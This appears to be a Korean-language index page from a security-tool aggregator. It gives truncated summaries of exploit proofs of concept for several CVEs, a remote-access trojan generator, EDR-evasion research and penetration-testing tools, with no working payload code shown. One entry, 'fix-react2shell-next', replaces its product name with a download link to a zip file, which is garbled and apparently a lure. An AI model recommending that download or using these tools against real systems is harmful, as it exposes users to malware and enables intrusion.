XSS-Documentation

XSS-Lab-Documentation Overview This documentation presents si...

NoEyes

NoEyes 🔒 보안 터미널 채팅 종단 간 암호화된 그룹 채팅, 개인 메시지, 파일 전송을 터미널에서 누리세요. 서버는 블라인드 포워더입니다. 서버는 메시지를 읽을 수 없고, 사용자 이름을 알 수 없으며, 참여 중인 룸도 알 수 없습니다. 설령 서버가 완전히 침해당하더라도 두 메시지를 같은 사람에게 연결할 수 없습니다. 실제 사용 모습 전체 데모 - 클라이언트 3개, 룸, 개인 메시지, 사이드바 패널...

CVE-2022-39197-RCE

CVE-2022-39197-RCE 첫째 이 프로젝트는 @its-arun의 프로젝트 https://github.com/its-arun/CVE-2022-39197 에서 수정되었습니다. 스크립트를 테스트했을 때, frida 스크립트가 정상적인 순서로 데이터를 조회할 수 없다는 것을 발견했습니다. frida 스크립트를 수정하여 프로세스 이름을 수정하는 방식입니다. 이용 방법에 대한 기여를 해주신 Master @Kai5174 님께 감사드립니다. 사용법 Payload 준비 1. EvilJar/src/main/java/Exploit.jav...

CVE-2026-3629

CVE-2026-3629 - WordPress 권한 상승 검사기 CVE-2026-3629 를 탐지하는 명령줄 도구로, "Import and export users and customers" WordPress 플러그인의 치명적인 권한 상승 취약점입니다. 📢 커뮤니티에 가입하세요 최신 보안 도구, 취약점, 해킹 기술에 대한 업데이트를 받아보세요! 가입해야 하는 이유? ✅ 최신 CVE 업데이트 ✅ 새로운 보안 도구 ✅ 해킹 튜토리얼 ✅ 버그 바운티 팁 ✅ 커뮤니티 지원 👉 채널: @PySecTools 📋 CVE-2026-3629 정...

ThisSeemsWrong

이 문제에 대한 수정은 CVE-2024-49746으로 발표되었습니다: 공지, 패치 "이건 잘못된 것 같다" 위 제목은 Parcel::continueWrite 메서드의 주석으로, 실제로는 Parcel 객체의 크기를 조정하는 역할을 담당합니다. 이는 사용자가 명시적으로 요청할 때예: setDataSize를 통해 또는 현재 데이터 용량이 너무 작아 write 메서드 중 하나를 호출할 때 수행됩니다.cpp statust Parcel::continueWritesizet desired // SNIP: Validate desired siz...

CVE-2017-9841

CVE-2017-9841- 스크립트 설치 및 실행 💻 사전 요구 사항 시작하기 전에, 컴퓨터에 다음 도구가 설치되어 있는지 확인하세요: Python 3.x Git pip Python 종속성을 관리하기 위한 설치 단계 1. 저장소 클론 git을 사용하여 저장소를 클론하세요: root@kitploit: git clone https://github.com/dream434/CVE-2017-9841- 2. 프로젝트 디렉터리로 이동 root@kitploit: cd CVE-2017-9841- 3. 애플리케이션 실행 root@kitploit...

CVE-2023-6241-Pixel7_Adaptation

Google Pixel 7용 CVE-2023-6241 이 저장소는 securitylab이 자체 GitHub 저장소에서 공개한, Google Pixel 8에서 작동하는 익스플로잇을 Google Pixel 7에 맞게 조정하는 방법을 설명합니다. 익스플로잇 수정을 시작하기 전에, 원래 익스플로잇이 필요한 패치 적용 후 Google Pixel 7 기기에서도 작동할 것이라는 가정은 CVE-2023-6241과 관련된 기사를 기반으로 세웠습니다. 이는 두 기기가 하드웨어 측면에서 서로 다른 것처럼 보이기 때문에 필요했습니다 비교. 도구 분...

FluxER

🔒 FluxER Termux용 Fluxion Easy Runner Fluxion용 자동 설치 및 실행 도구 - Termux 환경에서 WPA/WPA2 테스트 및 네트워크 분석을 위한 무선 보안 감사 툴킷입니다. 🎯 기능 자동 설정 : Ubuntuproot와 Fluxion의 원커맨드 설치 Termux에 최적화 : 효율적인 리소스 사용 및 모바일 친화적 루트 불필요 : 루팅되지 않은 Android 기기에서 동작 스마트 패키지 관리 : 필요한 의존성만 설치 오류 처리 : 상세한 진행 상황 피드백과 함께 견고한 설치 저장 공간 효율 :...

MIPS-CVE-2014-9222

면책 조항 튜토리얼은 정보 제공 및 교육 목적으로만 제공됩니다. 저는 윤리적 해킹, 정보 보안, 사이버 보안이 디지털 정보와 컴퓨터를 사용하는 모든 사람에게 친숙한 주제가 되어야 한다고 생각합니다. 해킹이 어떻게 이루어지는지 알지 못하고서는 해커로부터 자신을 방어하는 것은 불가능하다고 믿습니다. 요구 사항 root@kitploit: $ IDA Pro +7.0 you can use Radar2 since IDA is quite expensive $ Router running Rompager 4.07 : there're immen...

haruspex

haruspex "Hacking is the discipline of questioning all your assumptions all of the time." -- Dave Aitel Haruspex is a blazing fast IDA headless plugin that extracts pseudocode generated by IDA's decompiler in a format that should be suitable to be imported into an IDE, or parsed by static analysi...

CVE-2020-14372

CVE-2020-14372: 그다지 안전하지 않은 Secure Boot를 하나의 "간단한 트릭"으로 우회하기 취약점 세부 정보 어느 날 GRUB2 콘솔에 "help"를 입력했더니 정말 "재미있는" 명령들이 보였습니다: readbyte ADDR: ADDR에서 8비트 값 읽기 writebyte ADDR VAL: ADDR에 8비트 값 VAL 쓰기 나는 즉시 가장 재미있는 Secure Boot 우회 방법을 찾았다고 생각했지만, 이 명령들은 Secure Boot에서 다음과 같은 출력을 냅니다: root@kitploit: error:...

CVE-2024-9264

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC CVE-2024-9264에 대한 Python 개념 증명PoC입니다. 이는 Grafana SQL Expressions 취약점으로, Grafana 프로세스 PATH에 duckdb가 존재할 때 인증된 로컬 파일 포함LFI 및 명령 실행을 허용할 수 있습니다. 승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 기능 설명 root@kitploit:...

ams-failopen

AppleMediaServices의 Fail-Open 서명 제로데이 공개 요약 이 문제는 실제 제로데이 취약점으로, 특정 버전의 회귀 버그라기보다는 AppleMediaServices.framework의 구조적 설계 결함을 반영합니다. Apple의 AppleMediaServices 프레임워크에 있는 심각한 fail-open 결함으로 인해 원격 구성 파일"Bag"을 로드하지 못하면 요청 서명이 자동으로 비활성화될 수 있습니다. 이는 iOS, macOS, tvOS 및 watchOS에 영향을 미칩니다. DNS 조작, 시간 초과 또는...

CVE-2025-8110

Gogs 임의 파일 쓰기에서 RCE로 CVE-2025-8110 - 교육용 익스플로잇 이 저장소는 자체 호스팅 Git 서비스인 Gogs버전 0.13.3 및 이전에 등록된 취약점 CVE-2025-8110 을 시연하고 분석하기 위한 Python 개념 증명PoC 스크립트를 포함하고 있습니다. ⚠️ 면책 조항 Disclaimer !WARNING 이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다. 이 자료를 소유자의 사전 서면 동의 없이 대상에 사용하는 것은 완전히 불법입니다. 이 저장소의 저자는 이 코드 사용으로 인한 어떠한 손해...

WAMpage

WAMpage WAMpage - WebOS 루트 LPE 익스플로잇 체인 CVE-2022-23731 이 익스플로잇은 주로 다른 연구자에게 관심이 있습니다 - TV를 루팅하려면 아마 RootMyTV를 원할 것입니다. 이는 안정적인 1클릭 영구 루트를 제공합니다. 현재 32비트 SoC의 WebOS 4.x만 지원합니다. 이 소프트웨어는 '있는 그대로' 제공되며, 사용에 따른 책임은 본인에게 있습니다. 등등. Writeup: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html 빌드하기 ...

thorse

THorse THorse는 Python 3으로 작성된 Windows/Linux용 RATRemote Administrator Trojan 생성기입니다. root@kitploit: 이 작은 파이썬 스크립트는 정말 멋진 일을 할 수 있습니다. 면책 조항 :computer: 이 프로젝트는 오로지 좋은 목적과 개인적인 용도로만 제작되었습니다. 본 소프트웨어는 어떠한 종류의 보증도 없이 "있는 그대로" 제공됩니다. 귀하는 본 소프트웨어를 사용함에 있어 전적인 책임을 집니다. 사용에 대한 모든 책임은 최종 사용자에게 있습니다. 개발자는 이...

fix-react2shell-next

🚀 fix-react2shell-next - 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 앱의 취약점을 수정하세요 📥 지금 다운로드 📝 개요 fix-react2shell-next는 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 또는 React RSC 애플리케이션...

doppelganger_assistant

Doppelgänger Assistant 모든 카드 유형에 대해 Doppelgänger Core 및 Stealth가 지원하는 카드 데이터 계산과 Proxmark3 작업 자동화를 위한 전문 GUI 애플리케이션입니다. 이 도구는 직관적인 인터페이스에 이중 출력 표시, 시각적 구분선, 원클릭 클립보드 복사 기능을 제공하여 복잡한 Proxmark3 구문을 외우거나 메모를 뒤질 필요 없이 물리적 침투 테스트를 위한 카드 쓰기 과정을 간소화합니다. 기능 현대적인 GUI 인터페이스 : 상태 및 명령 출력 전용의 직관적인 2열 레이아웃 카드...

Ledger

Ledger — 운영 변경 추적 공격자 스크립트 Ledger는 Cobalt Strike 공격자 스크립트로, 작업 중 이루어진 모든 운영 변경 사항을 추적합니다. 활성화한 모든 서비스, 뚫은 방화벽 규칙, 생성한 계정, 건드린 레지스트리 키가 위험 점수, 운영자 기여도, 정리 상태와 함께 기록됩니다. 작업 종료 시 변경된 사항과 여전히 정리해야 할 사항에 대한 완전한 감사 추적이 생성됩니다. 이유 레드 팀 작업은 아티팩트를 남깁니다. 서비스가 활성화되고, 계정이 생성되고, 방화벽 규칙이 열리고, 레지스트리 키가 수정됩니다. 구조...

Project-Onyx

프로젝트 오닉스 AI 텔레메트리 스푸핑 및 WASM 샌드박싱을 통한 고급 EDR 우회. 프로젝트 오닉스는 최신 EDR 시스템에 대한 고급 우회 기술을 시연하기 위해 설계된 PoC 레드 팀 파이프라인입니다. 전통적인 시그니처 기반 난독화에서 벗어나 행동적 위장behavioral camouflage과 엄격한 환경 키잉environmental keying을 지향합니다. 이 프로젝트는 비전통적인 다중 계층 실행 파이프라인을 연구하는 개념 증명 레드 팀 연구입니다. 아키텍처는 다섯 가지 뚜렷한 기술을 연결합니다: AI 텔레메트리 위장,...